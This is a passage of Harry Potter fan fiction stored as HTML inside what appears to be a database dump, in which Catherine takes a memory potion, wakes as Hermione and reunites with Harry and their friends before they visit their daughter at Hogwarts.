class="MsoNormal">&#8220;You don&#8217;t want to rest up\nfor a few days?&#8221; Harry asked. &#8220;Once the potion is ready it&#8217;ll stay fine if you\nwant to wait.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, I can&#8217;t stand not\nremembering anymore. With everything that has happened in the last few weeks, I\njust want to know. I&#8217;ve been as content as I can be with no past for the last\nnine years, and now I want to know.&#8221; Catherine said firmly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay then.&#8221; Ron said after\na moment. &#8220;Well, you need to come downstairs, the potion is rather strong and\nwill most likely knock you out for a few days.&#8221; He held open a strong glass\ndoor for them and after a few moments came to a nice comfortable room, set up\nwith a bed, chairs, adjoining bathroom and such. &#8220;You can crash in here, we can\nsend for some of your clothing if you like.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can have Grace bring\nsomething over.&#8221; Catherine said. &#8220;I want Harry to stay here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes ma&#8217;am.&#8221; Harry said,\nmock saluting her. She rolled her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Funny.&#8221; She sighed then and\nsat on the bed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll have the potion sent\ndown in about ten minutes.&#8221; Ron said. He caught Harry&#8217;s eye and seemed to\nunderstand something, for then he said, &#8220;You know, perhaps I&#8217;ll just go get it\nmyself.&#8221; He exited the room and Harry smiled after him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I hope I remember\neverything&#8230;&#8221; Catherine said, getting back up and crossing the room to where\nHarry was standing. &#8220;I do mean everything&#8230;&#8221; she traced one finger down the\nlength of his torso and looked up into his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Me too.&#8221; Harry said softly.\n&#8220;More than anything&#8230;&#8221; He brought his forehead down to rest on hers, looking at\nher now closed eyes.&nbsp; &#8220;I&#8217;ll still love\nyou either way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She opened her eyes in\nsurprise and looked at him. &#8220;What did you say?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I said that I love you.&#8221; Harry\nsaid, a bit nervous. &#8220;I have since I was eighteen years old.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; she said, tears now\nsparkling in her eyes. &#8220;I love you too&#8230;&#8221; she brought her face up to his and\nkissed him gently, closing her eyes and causing the tears to spill down her\nface. He pulled his lips from hers and kissed them away, then brought his mouth\nback and nearly took her breath away with his gentleness and passion. She\nwrapped her arms around his neck so she could be as close as possible to him.\nHe kissed her now without restraint, their tongues clashing and dancing while\ntheir mouths attacked one another without the slightest regard for the\nspectacle they were making for Ron and the potions master that had accompanied\nhim. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahem.&#8221; Ron cleared his\nthroat and the two of them jumped apart guiltily. Harry flushed crimson while\nCatherine tried to straighten out her shirt. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ambir here is the potions\nmistress that sped up the brewing process. Ruddy genius.&#8221; Ron said after they\nhad finished straightening up. &#8220;She came down to make sure everything goes okay\nwhen you take it.&#8221; he said, nodding to Catherine. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Great.&#8221; She said. Ambir\nsmiled at her kindly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll probably want to get\non the bed first, this will knock you right off your feet most likely.&#8221; Ambir\nsaid. &#8220;You&#8217;ll be asleep for a few days while your memories come back to you.\nGives the brain a chance to recuperate.&#8221; Catherine nodded, a bit nervous now.\nShe held her hand out to Harry, who came to the bedside and took it\nimmediately. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Take it all in one gulp.&#8221;\nAmbir advised, pulling the cork off the long twisted vial. &#8220;It&#8217;s horrible\ntasting and you&#8217;ll never get it down otherwise.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay&#8230;&#8221; her voice trembled a\nlittle as she took the vial. &#8220;Well&#8230;. here goes.&#8221; She tipped back her head and\nswallowed the contents quickly. Her head fell back against the pillow heavily,\nand Harry immediately shot out his hand to stroke her face. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;ll be okay&#8230;&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It had been two days since\nCatherine had taken the potion. Harry had refused to leave the room, it had been\nhard enough for Ron to convince Harry to even make a run to the bathroom much\nless get him to come up and take a breath of fresh air. Grace had stopped by\nfrequently, bringing new clothes for Catherine and sitting with Harry. The two\nof them had talked a lot over the time they waited by the bed and Harry felt\nforever grateful to her for being such a wonderful friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wonder how much longer\nshe&#8217;ll be out.&#8221; Harry said, stretching his frame but not letting go of her\nhand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hopefully not much longer.&#8221;\nGrace replied. &#8220;I have to leave, I have to work tonight and I still need to go\nhome and get ready.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll find you if she\nwakes.&#8221; Harry said. Grace hugged him goodbye and left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He let his weary head rest\non the side of the bed; he&#8217;d hardly slept a wink in about three days.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She cracked her eyes open,\nher vision was rather blurred, all she could make out was the pale gray color\nof the room. Shadowy shapes made out a doorframe on the other side of the room.\nShe tried to sit up; something was holding her one hand down. A sudden movement\nmade her look up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Who are you?&#8221; she asked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Heehee and you thought\nlast chapter was a cliffhanger ;) </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The idea I borrowed from\nMythX was his viewer for showing memories; it&#8217;s not used the same way as he\ndoes in his amazing fic, but it&#8217;s the same idea. Make sure you check out Harry\nPotter and the Pit of Time, very cool story.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thanks again to all who\nreviewed. Your comments literally make my day! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Next up: Is she Catherine,\nHermione, or a nobody again? </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And please, I do ask that\nyou not flame me for writing that scene. I gave you fair warning that it was\nthere, and ample space after so people who did not want to read it don&#8217;t have\nto. I thank you.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">While you&#8217;re waiting for the\nnext chapter, make sure you check out the works of Ryoko Blue, God of Fire, and\nLydia Silver Maiden, all of which you can find links to in my favorite author\nsection.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(77, 11, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 11</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: Yet another chapter I have\nto thank you for, the overwhelming response is just fabulous. I do read each\nand every review and I thank you greatly for them.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The figure just stood there\nlooking at her for a moment. She blinked to clear her eyes and watched the\nwoman break out into a smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Glad to see you have\nawakened. I&#8217;m Dr. Amanda Rafferty. We&#8217;ve been monitoring you for about two days\nnow since you took the counter curse potion.&#8221; The woman pulled her clipboard\nagainst her chest and moved towards the door. &#8220;I&#8217;ll go get Mr. Weasley, but I\ndaresay you&#8217;ll want to wake Mr. Potter yourself.&#8221; She smiled and shut the door\nbehind her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She turned to see a head of\nblack hair resting on the bedside next to her. One of her hands was clutched in\nhis; she reached her other hand across to touch the silky black locks gently.\nShe leaned over and smelled his hair; it had always been the same, a\ncombination of soap and a faint woodsy scent. Her hand left his hair and gently\nstroked the side of his face. At her touch, gentle as it was, he awoke with a\nstart and raised his head to look into her eyes. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">They stared at each other\nfor what seemed to be an eternity. Harry&#8217;s mouth opened to talk several times\nbut nothing came out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry knew. He knew by the\nlook in her eyes who she was. &#8220;Hermione.&#8221; He said simply. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She smiled through the tears\nthat had suddenly sprung to her eyes. &#8220;Harry&#8230;&#8221; she said softly, bringing her\nhand back to his face. Hermione never got a chance to finish her sentence\nbefore Harry had pulled her into a bone-crushing hug. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t even think of trying\nto pull away&#8230;&#8221; Harry said, pressing his face into her hair. &#8220;I&#8217;m never letting\nyou go again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t care.&#8221; Her own\nvoice was muffled. &#8220;Harry&#8230;I&#8217;ve missed you so much.&#8221; He pulled back and just\nlooked at her for long moments, wanting to memorize every detail of her face\nthat he possibly could. He took his thumb and brushed away the tears that were\nstreaming down her cheeks, and leaned in to kiss her, but Ron pounded his way\ninto the room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;DID IT WORK?&#8221; he shouted.\nHe saw the tears on both their faces and his heart sank for a moment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ron!&#8221; Hermione cried\nhappily. Ron whooped and flew to the bedside, where the trio had a most\nwonderful reunion. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was a few hours later\nwhen the three of them emerged from the Ministry, Hermione had freshened\nherself up and was anxious to leave the building and get away from the stuffy\nroom. She was also looking forward to getting reacquainted with life as\nherself. Hermione lifted her face up to the sun as they stepped outside, she\nremembered all of her life as Catherine, but she felt as if she, Hermione, had\nawoken from a long sleep. Harry turned to her and smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are you feeling, love?&#8221;\nhe asked, taking her hand in his.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I feel wonderful.&#8221; She\nsaid, her eyes closed. Hermione leaned against him and rested her head on his\nshoulder. Harry turned and kissed her temple and she opened her eyes and smiled\nat him.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you want to do?&#8221;\nRon asked the two of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I should probably go\nto my flat and see Grace,&#8221; Hermione replied. &#8220;Ron, bring Lavender over later I\nwant to see her.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes ma&#8217;am.&#8221; Ron said, mock\nsaluting her. He hugged her again. &#8220;I&#8217;m really glad you&#8217;re back Herm. I&#8217;ve\nmissed you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled back and\nhugged him tightly. &#8220;Me too Ron, me too.&#8221; She wiped away a stray tear. He\nsqueezed her arm and shook Harry&#8217;s hand. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll be over in a bit then,\nI&#8217;ll just pop home and tell Lav the good news.&#8221; He apparated away and Harry\nturned to Hermione again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let&#8217;s get you home.&#8221; He\nsaid, taking her hand. The two of them also apparated back to their building\nand arrived in the lobby.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you want me to come with\nyou or do you want to see Grace alone?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione thought for a\nmoment. &#8220;I should probably see her alone.&#8221; She said. &#8220;Can I just come over when\nI&#8217;m done?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry chuckled. &#8220;Of course.\nYou&#8217;d better.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Hermione said.\n&#8220;I&#8217;ll be up in a bit then.&#8221; She kissed him on the cheek and then went up to her\nflat. Letting herself in quietly, she went down the hallway to the kitchen\nwhere Grace was sitting at the table, reading the Daily Prophet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Grace.&#8221; Hermione said,\ntrying not to startle her. Grace&#8217;s head snapped up and she gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Cath!&#8221; she jumped from her\nchair and ran forward to hug her tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Actually, it&#8217;s Hermione.&#8221;\nShe corrected gently. Grace pulled back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So you remember?\nEverything?&#8221; Grace asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione nodded.\n&#8220;Everything.&#8221; A smile crossed her features. She sat down at the kitchen table\nand Grace followed suit. &#8220;I want to thank you again for being my friend all\nthese years. If it weren&#8217;t for you, I wouldn&#8217;t be here now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, that&#8217;s not true.&#8221; Grace\nsaid, looking down. Her face reddened. &#8220;I mean, I only took you to the\nhospital.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, and you talked to me,\nyou cared for me, gave me a place to live and helped me live these past nine\nyears.&#8221; Hermione insisted. &#8220;And if it weren&#8217;t for your pushing, I would never\nhave gotten that job at the bookstore, and therefore probably never met Harry\nagain.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Grace asked in a\ntiny voice. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, really.&#8221; Hermione\ninsisted. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks Cath- I mean\nHermione.&#8221; Grace said ruefully. &#8220;Sorry, it&#8217;s going to take me awhile to get\nused to that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s okay.&#8221; Hermione said.\nShe hugged Grace tightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m afraid I won&#8217;t get to\nsee you anymore now.&#8221; Grace said. &#8220;I mean, you&#8217;ll be off with Harry and your old\nfriends now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well of course, but that\ndoesn&#8217;t mean you can&#8217;t join us.&#8221; Hermione said warmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Grace said\ntentatively. &#8220;I made up with Justin.&#8221; She smiled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you really.&#8221; Hermione\nsaid, sitting back. &#8220;I didn&#8217;t know you two were fighting, I was so surprised\nwhen you brought&#8230;. him&#8230;. over.&#8221; her lip slightly curled up at the mere thought\nof Draco Malfoy.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, we had a\ndisagreement, he wanted to get more serious, and I didn&#8217;t&#8230;but I think I&#8217;m\nwilling to give it a go.&#8221; Grace said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s great.&#8221; Hermione\nsaid. The two women sat together for a while and reacquainted themselves to a\ndegree. About a half hour later Hermione stretched her arms over her head and\nstood up. &#8220;I need to get to Harry&#8217;s.&#8221; she said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh...&#8221; Grace said with a\nknowing look in her eye. &#8220;What are you two going to be up to this evening?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not THAT!&#8221; Hermione shot a\nglare in her flat mate&#8217;s direction. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure.&#8221; Grace said. &#8220;Go, get\nto know your husband again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My husband&#8230;. I like that.&#8221;\nHermione grinned. &#8220;My husband, husband&#8230;&#8221; she rolled the word around on her\ntongue as she knocked on Harry&#8217;s door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled as he saw\nHermione muttering to herself when he peeked through the spy hole. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Husband&#8230;husband&#8230;&#8221; he heard\nas he pulled the door open. She looked up at grinned at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What about your husband?&#8221;\nhe asked, pulling her inside. His arms curved around her waist and he pulled\nher up against him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You are.&#8221; Hermione said.\nShe lifted her face to his so he could press his lips onto hers, which he did\nwillingly. One of his hands locked with hers and the other caressed the side of\nher face. She parted her lips under his so she could feel his tongue enter her\nmouth and clash with hers. She remembered kissing him as Catherine, but this\nfelt so new and fresh to her now, and she didn&#8217;t want it to end. She swept her\nfree hand up into his raven locks, loving the feel of the soft strands between\nher fingers. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry wanted to take things\nfurther but he also didn&#8217;t want to push Hermione. He regretfully pulled his\nmouth from hers and led her into the living room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We should talk a bit,\nlove.&#8221; He said, pulling her down onto the sofa next to him and wrapping his\narms about her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What about?&#8221; Hermione\nasked. She did not want to talk.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry turned to look at her.\n&#8220;Well, for one thing, we need to go talk to Caty.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I can&#8217;t wait for that.&#8221;\nHermione said. She felt twittering butterflies in her stomach. &#8220;I&#8217;m nervous\nthough.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s all right.&#8221; Harry\nreassured her. &#8220;She likes you, I know she does.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Really?&#8221; Hermione asked.\nHarry got up and went into the kitchen for a moment, then came back with Caty&#8217;s\nletter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s really nice, and I\nthink she&#8217;d make a good Mum for me&#8230;&#8221; Harry quoted from the note. Hermione felt\na smile cross her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When do we go see her?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I will send a note to\nDumbledore,&#8221; Harry said. &#8220;And then hopefully we can go to Hogwarts tomorrow, I\ndon&#8217;t want to pull her from school.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s she like?&#8221; Hermione\nasked as he settled back down next to her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well you already know she\nhas both of us in her looks wise, she&#8217;s always been a smart kid, and sometimes\na bit of a handful, and other times rather shy.&#8221; Harry laughed. &#8220;I remember one\ntime when I let her go to the library herself for the first time, she took her\nlittle red wagon and checked out so many books she could barely pull it home.\nThen when one of the neighborhood kids came over to see if she&#8217;d let them\nborrow one, she said no because it would be breaking the rules&#8230;I never laughed\nso hard in my life.&#8221; He smiled fondly at the memory and Hermione was laughing\nheartily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, that sounds like me\nwhen I was 11, doesn&#8217;t it&#8230;&#8221; her voice trailed off as she realized what she had\nsaid. &#8220;I can actually remember what my life was like at 11 now&#8230;I don&#8217;t think\nI&#8217;ll ever take that for granted again.&#8221; Hermione said softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry reached over and\nstroked her hair. &#8220;I don&#8217;t think so either&#8230;&#8221; he said. &#8220;I&#8217;m surprised you aren&#8217;t\nexhausted from all the emotional strain you&#8217;ve gone through today.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I think that&#8217;s\nbecause a lot of my memories must have returned while I was sleeping.&#8221; Hermione\nsaid in her typical logical fashion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you ever look up\nanything, to try and find out who you were?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed. &#8220;We tried.\nGrace and I spent entire afternoons at the newspaper offices, looking through\nrecords for missing persons, we never found anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry bit his lower lip.\n&#8220;That&#8217;s my fault.&#8221; He muttered, bowing his head. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you mean?&#8221; Hermione\nasked, a bit confused.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, when you disappeared,\nRon wanted to put out a notice about you. But I convinced him not to, just that\nwe&#8217;d search for you until we found you. I didn&#8217;t want the unneeded attention&#8230;.&#8221;\nHarry trailed off realizing how stupid his explanation must sound. &#8220;I didn&#8217;t\nwant Caitlyn growing up constantly being badgered either, and when we couldn&#8217;t\nfind you after a year&#8230;.&#8221; Harry let his voice go as a tear slid down his cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione reached out her\nhand and touched the side of his face. &#8220;Harry, think about this. Draco Malfoy\ntook me off a street, no one saw that happen. Then he kept me away from all\ncivilization, for what was that year you searched for me. If you had placed a\nnotice, there would have been pandemonium and you wouldn&#8217;t have gotten a\nmoment&#8217;s rest.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry finally turned to look\nat her. &#8220;You really think so?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I understand, Harry, I\nreally do.&#8221; Hermione stroked his cheek with her palm. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re awfully forgiving\naren&#8217;t you.&#8221; He turned a tiny smile her way. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m just happy.&#8221; She said,\nsnuggling up against him. &#8220;How can I not be?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A knocking came from the\nfront door and they pulled themselves off of the couch and they went down the\nhallway. Harry opened the door and a blond figure hurtled through, followed by\nRon who was shaking his head ruefully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HERMIONE!&#8221; Lavender\nshrieked, propelling herself at Hermione and wrapping her in a bear hug. &#8220;Oh my\nGod, I can&#8217;t believe it&#8217;s you, that it&#8217;s been you all along!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry and Ron laughed at the\nexpression on Hermione&#8217;s face as the force of Lavender&#8217;s hug staggered her\nbackwards. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What took you so long to\nget over here?&#8221; Harry joked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This one here, she didn&#8217;t\nbelieve me at first when I told her the potion worked.&#8221; Ron said, jerking his\nhead in Lavender&#8217;s direction.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;&#8221; Lavender spoke up in\nher own defense, &#8220;Ron kept telling me there was no change, and I thought he was\njust being a smartass this time&#8230;.&#8221; Everyone laughed again and Harry spoke up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How about some tea?&#8221; he\nasked. He took up Hermione&#8217;s hand and they all went into the kitchen.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you guys going to\ndo now?&#8221; Ron asked, as they all were sitting down and Harry magicked four mugs\nfilled with tea to the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, I have to send a note\nto Dumbledore, we&#8217;re going to Hogwarts to see Caitlyn.&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are you feeling about\nthat?&#8221; Lavender asked Hermione. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m nervous about that,\nstill.&#8221; She said, sipping her tea. &#8220;I mean, I know Harry said she likes me, but\nshe&#8217;s only had him for ten years, I&#8217;ve just suddenly come back into her life.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, I&#8217;m sure you&#8217;ll work\neverything out.&#8221; Lavender said confidently. &#8220;I mean, what little girl doesn&#8217;t\nwant a mother?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;She&#8217;s right.&#8221; Ron said.\nHarry nodded as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re going to be fine.&#8221;\nHe assured her. Yet Hermione was still nervous, three days later when they were\nonce again standing before Hogwarts. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What a rush.&#8221; Harry said,\nlooking down at her. &#8220;I feel as if I&#8217;ve never left, you know?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell me about it.&#8221; Hermione\nagreed, closing her eyes and taking a few deep breaths. She squeezed Harry&#8217;s\nhand so tightly and he opened the doors. Professor McGonagall was waiting in\nthe hallway to escort them to Dumbledore&#8217;s office. As they drew close Harry\ncould swear he actually saw tears in her eyes at the sight of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 